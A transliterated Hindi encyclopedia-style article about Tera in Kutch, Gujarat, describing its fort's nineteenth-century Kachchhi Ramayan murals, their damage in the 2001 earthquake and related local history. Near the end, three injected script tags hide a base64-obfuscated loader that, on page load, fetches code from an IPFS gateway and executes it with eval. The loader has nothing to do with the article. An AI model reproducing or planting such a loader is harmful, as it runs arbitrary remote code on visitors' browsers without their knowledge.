टेरा

tera
tera qila|200px|center
vivaran	'tera' gujarat rajy ke kachchh shahar ke pas sthit hai. yahaan ke qile mean 'kachchhi ramayan' (ramarandh) ke vibhinn prakaranoan ko darshate bhittichitr chitrit haian.
rajy	gujarat
prasiddhi	ek mahanh sabhyata ke avashesh yahaan bhittichitroan mean milate haian. bhittichitroan ko unnisavian sadi ke mashahoor kachchhi kamagiri kalam ke kalakaroan dvara sabziyoan aur doosare prakritik rangoan ka prayog karake banaya gaya tha.
any janakari	tera ke pas kachchh ke sansthapak rav khegaraji ke pita rav hamiraji jadeja ki hatya kar di gee thi. gaanv ke pas banaee gee unaki samadhi ab khandahar avastha mean vidyaman hai.

tera gujarat rajy ke kachchh shahar ke pas sthit hai. yah sthan apani advitiy paristhitiki aur sanskriti ke lie prasiddh hai. is prachin kshetr mean ramayan ki apani parampara hai. yah ramarandh ke nam se jani jati hai. tera ke qile mean kachchhi ramayan (ramarandh) ke vibhinn prakaranoan ko darshate bhittichitr chitrit haian.

itihas

ek mahanh lekin mrit parampara ke yah avashesh ab kachchh mean tera ke shasak ke 500 sal purane qile ki divaroan par bhittichitroan ke roop mean milate haian. in bhittichitroan ko unnisavian sadi ke mashahoor kachchhi kamagiri kalam ke kalakaroan dvara sabziyoan aur doosare prakritik rangoan ka prayog karake banaya gaya tha. sanh 2001 mean aye bhookamp ke bad ramarandh ke ye bhittichitr tezi se phike p d rahean aur nasht ho rahe haian. bhookamp se bhittichitroan se saje kamare samet qile ko kafi kshati pahuanchi thi.

tera ke qile

tera ke qile mean chitrakar ne kamare ki charoan divaroan par ramayan ke sat mukhy prakaranoan ko chitrit kiya hai, jo sambhavatah tera ke shasak ka shayan kaksh tha. pratyek prakaran do ya tin hisse mean banta hua hai, jo ram ke janm se lekar lanka mean ravan ke mare jane aur sita ki agnipariksha tak ramayan ke mukhy prasangoan ko darshate haian.

ravan ke rahasy

bhookamp ke karan qile ki divar par aee dararoan ki vajah se kuchh prasang jaise hanuman u dakar sagar par lanka jate hue,ashok vatika mean sita ko ram ka sandesh sunate hue tatha apani jalati pooanchh se sari lanka mean ag lagate hue adi phike p d chuke haian. ek any chitrit prasang mean moti dararean p d gee haian, jisamean vibhishan ravan ke rahasy ram ko batane ke lie unase bheant karata hai.

rahasyamayi drishy

is prasang mean vanar apane sir par patthar dhokar samudr par pul banate dikhae ge haian. ravan ko apani patni mandodari ke sath qile ke oopar baithe darshaya gaya hai. is prasang ki yah visheshata hai ki apane sir par patthar la rahe vanaroan ko u date hue dikhaya gaya hai. aisa drishy ramayan ki anyatr bani paiantiang mean kahian nahian dekha hai. is prasang se yah prashn uthata hai ki agar vanar u d sakate the to unhean pul banane ki kya jarurat thi. isake tark mean, ramayan ke anusar hanuman ko chho dakar baki sare vanaroan ke u dane ki kshamata simit thi. bhookamp se any kee chitr prabhavit hue haian jisamean ram aur ravan ki sena ek-doosare se l d rahi hai aur ghayal lakshman ke lie jivanadayini sanjivani ki talash mean poore paha d ko utha late haian.

ravan vadh

tera mean ravan ke vadh pashchath ram vibhishan ko lanka ke raja ke rup mean mukut pahanate hue, sita ko palaki mean late hue, sita ko apane satitv ki agnipariksha dene tatha lakshman ka ravan ki bahan sooparnakha ki nak katane vale prasang achchhi avastha mean haian. ye bhittichitr vastav mean bahumoolay haian, kyoanki ye kachchh ki advitiy lok shaili ko darshate haian. sthapaty ke lihaz se ye bhittichitr sthaniy nirman ke akar-prakar ki parikalpana karate haian.

veshabhoosha

yahaan sthit mahal, galiyare, ashram, jhoanp diyaan aur mandir tera ke sthaniy samakalin bhavan lagate haian. unaki shailiyaan alag-alag haian. unaki akritiyaan, veshabhoosha, mahilaoan ke nak-naksh aur yahaan tak ki apsaraean bhi kachchhi akar-prakar ki haian.

hasyamayi drishy

tera mean in bhittichitroan mean kuchh had tak sthaniy hasy bhi dikhaee deta hai. ek jagah ravan ke mukut par gadha bana hai. isase yah pata chalata hai ki ravan mean gadhe ke saman buddhi thi jisase usane sita ka haran karake ram ke hathoan apane vinash ko nyauta diya. ek any jagah l daee ke drishy mean ravan ke hath khoon se nahian balki mitti se sane hue haian. shayad inhean banane vale chitrakar ka yahi uddeshy raha hoga ki paiantiang ka rup vibhats nahian lage.

kachchhi rik aaurd ke mutabiq tera ke kalapremi thakor sumaraji aur unaki patni baeesaheb ne 1845 ee. mean qile ke jirnoddhar ke samay in bhittichitroan ke nirman ki manjoori di thi. chooanki yah dampati niahsantan tha isalie kachchh ke tatkalin shasak maharav deshalaji ne apane chahete bete gagubha ko tera ki gaddi par baitha diya.

jalachitroan ka samavesh

ram ke bhakt gagubha isi kamare mean sote the jisamean ye bhittichitr banae gaye haian. dilachasp bat yah hai ki in jalachitroan ko banane vale kalakaroan ke bare mean koee janakari upalabdh nahian hai. yah bhi ullekhaniy hai ki kachchh ke itihas mean tera ka khas muqam hai jahaan aj bhi kee aitihasik sthal bikhare p de haian.

khandahar

tera ke pas kachchh ke sansthapak rav khegaraji ke pita rav hamiraji jadeja ki hatya kar di gee thi. gaanv ke pas banaee gee unaki samadhi ab khandahar avastha mean vidyaman hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>